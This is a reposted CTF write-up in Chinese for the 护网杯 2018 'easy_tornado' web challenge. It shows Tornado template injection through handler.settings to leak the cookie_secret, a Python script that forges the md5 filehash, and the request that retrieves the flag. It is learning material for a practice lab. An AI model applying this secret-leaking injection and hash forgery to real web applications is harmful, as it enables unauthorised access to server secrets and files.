[护网杯 2018]easy_tornado

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[护网杯 2018]easy_tornado相关的知识,希望对你有一定的参考价值。

[护网杯 2018]easy_tornado

考点

tornado模板注入

思路

以此访问题目给的三个链接,分别得到

/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

根据 /welcome.txt 提示,猜测是模板注入

利用得到的secret,计算访问flag文件的hash,获取flag

Payload

测试发现存在过滤

tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量,得到

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '2e40dcc5-b62d-452b-ade2-0e621b325b4b'}

根据 /hints.txt 提示,用得到的 cookie_secret 构造 filehash 的值

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="2e40dcc5-b62d-452b-ade2-0e621b325b4b"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

访问 url:http://f951d4e1-e621-43e6-a630-53bf20583b3b.node4.buuoj.cn/file?filename=/fllllllllllllag&filehash=ea49ff2dff1424b9e05e39cd2c28f750 获得flag

以上是关于[护网杯 2018]easy_tornado的主要内容,如果未能解决你的问题,请参考以下文章

[护网杯2018]easy_tornado

护网杯 2018 easy_tornado 1BUUCFT模板注入

2018护网杯easy_tornado(SSTI tornado render模板注入)

BUUCTF-[护网杯 2018]easy_tornado

刷题记录:[护网杯 2018]easy_laravel

护网杯test